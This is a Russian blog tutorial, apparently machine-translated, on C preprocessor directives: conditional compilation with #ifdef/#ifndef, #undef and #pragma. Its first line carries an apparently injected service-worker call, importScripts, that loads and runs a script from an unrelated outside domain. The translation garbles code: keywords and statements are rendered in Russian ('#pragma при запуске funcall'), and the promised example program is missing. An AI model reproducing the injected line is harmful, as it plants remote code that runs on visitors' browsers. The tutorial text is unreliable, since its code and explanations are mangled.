google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Директивы препроцессора в Си - Часть 2

Читайте:  Директивы препроцессора в C - Часть 1
В последнем уроке я рассказал вам о некоторых директивах препроцессора, таких как макросы и включение файлов. Осталось еще две директивы препроцессора, которые я завершу в этом уроке.
Итак, сегодня я расскажу вам о двух директивах препроцессора на языке Си, которые
  • Условная компиляция
  • Разные директивы

Условная компиляция

Использование этой директивы препроцессора аналогично ее названию. Он часто используется для исключения некоторого набора утверждений в процессе компиляции. Один вопрос, который поразит вас.
Зачем мне писать те утверждения, которые я не хочу компилировать?
  • Ну, программисты часто пишут программы для некоторых клиентов. Предположим, что на одном этапе клиент требует старую версию программы, которую вы удалили. Тогда в тех случаях это используется очень широко. Поэтому он часто используется для того, чтобы упростить работу определенных функций, не касаясь кода. Это самый безопасный способ удалить определенный код из программы.
  • Он также используется для проверки работоспособности программы. При написании сложных программ на С нередко в последний момент программа на Си дает неверные результаты. Таким образом, мы можем использовать условную компиляцию для исправления ошибок, используя метод проб и ошибок.
  • Портативность - одна из главных особенностей, которая довольно известна в наши дни. С помощью условной компиляции мы также можем сделать программу переносимой.
Теперь давайте возьмем один пример, чтобы объяснить условную компиляцию.
#ifdef MACRONAME 
   Statement 1; 
   Заявление 2; 
   И так далее… 
#endif
Это означает, что операторы 1, 2 и т. Д. Будут работать, только если в программе определен макрос с MACRONAME. Вы также можете использовать #ifndef, это как раз напротив #ifdef. Здесь #else может использоваться, чтобы показать еще часть #ifdef или #ifndef. #endif показывает конец директивы препроцессора условной компиляции.
Выход
Директивы препроцессора в Си - Часть 2
объяснение
  • Как видите, второй printf () не работает. Это потому, что мы не определили макрос с WORK.
  • Чтобы заставить работать второй printf (), мне просто нужно добавить #define WORK перед функцией main (). После этого он также напечатает сообщение внутри второго printf ().

Разные Директивы

Две редко используемые директивы препроцессора попадают в категорию разных директив.
1. #undef 
2. #pragma

#undef

Эта директива препроцессора обычно используется для отмены определения определенных макросов на некотором этапе. Обычно он не используется, но мы можем отменить определение любого макроса, используя #undef, за которым следует имя макроса.

#pragma

Эта директива препроцессора обычно используется тремя способами, которые 
а. #pragma автозагрузка 
б. #pragma выход 
c. #pragma warn
#pragma startup: используется для вызова некоторой функции с самого начала (до выполнения функции main ()). Мы можем вызвать любую функцию, используя эту директиву препроцессора.
Синтаксис: #pragma при запуске funcall
В приведенном выше коде функция «funcall» будет вызываться при запуске программы.
#pragma exit:  это противоположная часть запуска. Он используется для вызова некоторой функции после завершения программы.
Синтаксис: #pragma exit funcall
В приведенном выше коде функция «funcall» вызывается при выходе из программы.
#pragma warn: эта директива препроцессора используется очень редко. Обычно используется для подавления определенного предупреждения внутри программы.

Комментариев нет:

Отправить комментарий